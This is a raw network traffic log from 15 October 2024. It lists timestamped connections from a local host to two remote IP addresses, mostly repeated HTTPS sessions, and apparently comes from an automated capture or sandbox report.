Oct 15, 2024 11:21:07.199327946 CEST	36538	52441	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:07.199405909 CEST	52441	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:07.211741924 CEST	52441	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:07.216742039 CEST	36538	52441	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:08.740565062 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:08.740689039 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:08.740956068 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:08.741307020 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:08.741339922 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.608195066 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.613605976 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.613650084 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.972230911 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.972342968 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.972477913 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.972855091 CEST	52447	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.972872019 CEST	443	52447	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.974369049 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.974420071 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:09.974505901 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.974750996 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:09.974776030 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:10.839829922 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:10.841089010 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:10.841130972 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:11.198370934 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:11.198494911 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:11.198554039 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:11.198931932 CEST	52458	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:11.198950052 CEST	443	52458	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:13.209549904 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:13.209603071 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:13.209683895 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:13.209917068 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:13.209935904 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:14.681041002 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:14.682480097 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:14.682506084 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.043456078 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.043596029 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.043812037 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.044298887 CEST	52474	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.044321060 CEST	443	52474	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.045752048 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.045815945 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.046005011 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.047400951 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.047419071 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.807492971 CEST	36538	52441	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:15.808697939 CEST	52441	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:15.934422970 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:15.935897112 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:15.935923100 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:16.316906929 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:16.316977024 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:16.317128897 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:16.317682028 CEST	52481	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:16.317703962 CEST	443	52481	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:16.880954027 CEST	52441	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:16.882045984 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:16.886009932 CEST	36538	52441	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:16.886903048 CEST	36538	52482	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:16.886991024 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:16.896730900 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:16.901578903 CEST	36538	52482	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:18.334362984 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:18.334405899 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:18.334487915 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:18.334727049 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:18.334747076 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.246505022 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.248032093 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.248069048 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.642663002 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.642795086 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.642858028 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.643166065 CEST	52484	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.643181086 CEST	443	52484	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.643654108 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.643704891 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:19.643809080 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.644324064 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:19.644341946 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:20.449475050 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:20.721307039 CEST	36538	52482	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:20.722501993 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:20.723813057 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:20.723838091 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:21.081041098 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:21.081166029 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:21.081229925 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:21.095196009 CEST	52485	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:21.095221996 CEST	443	52485	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:23.100316048 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:23.100369930 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:23.100447893 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:23.101160049 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:23.101171970 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:23.969249010 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.001796007 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.001821995 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.362960100 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.363101006 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.363152981 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.377327919 CEST	52486	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.377378941 CEST	443	52486	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.379204035 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.379256010 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:24.379317045 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.379760027 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:24.379777908 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:25.412741899 CEST	36538	52482	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:25.412844896 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:25.418139935 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:25.419569016 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:25.419589996 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:25.661881924 CEST	52482	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:25.664506912 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:25.666937113 CEST	36538	52482	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:25.669502020 CEST	36538	52488	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:25.669572115 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:25.700277090 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:25.705143929 CEST	36538	52488	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:25.797770977 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:25.797880888 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:25.797966003 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:25.800542116 CEST	52487	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:25.800571918 CEST	443	52487	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:27.807455063 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:27.807574987 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:27.807668924 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:27.807988882 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:27.808026075 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:28.657427073 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:28.660726070 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:28.660800934 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.008757114 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.008830070 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.008900881 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.009234905 CEST	52489	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.009288073 CEST	443	52489	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.010593891 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.010653019 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.010729074 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.011008024 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.011039019 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.899681091 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:29.901134014 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:29.901217937 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:30.284216881 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:30.284285069 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:30.284368038 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:30.326404095 CEST	52490	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:30.326473951 CEST	443	52490	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:32.335156918 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:32.335288048 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:32.335412025 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:32.335736990 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:32.335787058 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.193646908 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.220288038 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.220331907 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.575782061 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.575848103 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.575917006 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.576351881 CEST	52491	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.576370001 CEST	443	52491	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.576917887 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.577089071 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:33.577169895 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.577471972 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:33.577516079 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:34.181654930 CEST	36538	52488	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:34.181754112 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:34.441274881 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:34.443201065 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:34.443290949 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:34.799861908 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:34.799999952 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:34.800072908 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:34.800395012 CEST	52492	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:34.800496101 CEST	443	52492	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:36.802932978 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:36.803023100 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:36.803143024 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:36.803656101 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:36.803698063 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:37.660480022 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:37.660718918 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:37.662743092 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:37.662781000 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:37.663038969 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:37.663997889 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:37.711410046 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:38.020447016 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:38.020574093 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:38.020649910 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:38.024388075 CEST	52493	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:38.024437904 CEST	443	52493	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:49.503391027 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:49.927131891 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:50.026952028 CEST	36538	52488	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:50.027059078 CEST	36538	52488	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:50.027219057 CEST	52488	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:50.038228035 CEST	52494	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:50.043135881 CEST	36538	52494	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:50.043224096 CEST	52494	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:51.382297039 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:51.382356882 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:51.382463932 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:51.382858038 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:51.382877111 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.258721113 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.258830070 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:52.260634899 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:52.260665894 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.261028051 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.262140036 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:52.303440094 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.623637915 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.623713017 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:52.623790979 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:52.624306917 CEST	52495	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:52.624326944 CEST	443	52495	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:54.634918928 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:54.634952068 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:54.635010004 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:54.638044119 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:54.638055086 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:55.495883942 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:55.501194954 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:55.501215935 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:55.854703903 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:55.854819059 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:55.854902029 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:58.553247929 CEST	36538	52494	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:58.553793907 CEST	52494	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:59.565655947 CEST	52496	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:59.565715075 CEST	443	52496	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:59.602108002 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:59.602161884 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:59.602230072 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:59.602644920 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:59.602665901 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.604079008 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.604197979 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:01.605719090 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:01.605739117 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.606408119 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.607436895 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:01.655400038 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.981849909 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.982009888 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:01.982139111 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:01.999392033 CEST	52497	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:01.999432087 CEST	443	52497	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:04.006306887 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:04.006371021 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:04.006464958 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:04.006892920 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:04.006921053 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:04.881714106 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:04.887187004 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:04.887214899 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:05.246768951 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:05.246825933 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:05.247082949 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:05.247415066 CEST	52498	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:05.247442007 CEST	443	52498	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:05.247855902 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:05.247872114 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:05.249799967 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:05.250174046 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:05.250183105 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:06.108984947 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:06.125108004 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:06.125124931 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:06.481132030 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:06.481190920 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:06.481302023 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:06.481745958 CEST	52499	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:06.481765985 CEST	443	52499	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:08.493751049 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:08.493808031 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:08.497821093 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:08.498404980 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:08.498419046 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.378395081 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.378521919 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.379964113 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.379971027 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.380295992 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.381444931 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.423424959 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.740760088 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.740910053 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.741004944 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.741434097 CEST	52500	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.741446018 CEST	443	52500	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.742830038 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.742888927 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:09.742979050 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.743366957 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:09.743381977 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:10.620532990 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:10.622076035 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:10.622114897 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:10.989919901 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:10.990062952 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:10.990175962 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:10.990959883 CEST	52501	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:10.990978003 CEST	443	52501	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:12.865731955 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:12.865787983 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:12.865953922 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:12.866426945 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:12.866442919 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:13.723094940 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:13.726174116 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:13.726213932 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.080781937 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.080926895 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.081008911 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:14.081418037 CEST	52502	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:14.081446886 CEST	443	52502	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.082315922 CEST	52503	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:14.082365990 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.082442045 CEST	52503	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:14.082711935 CEST	52503	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:14.082727909 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.947473049 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:14.949083090 CEST	52503	443	192.168.2.7	162.19.58.157
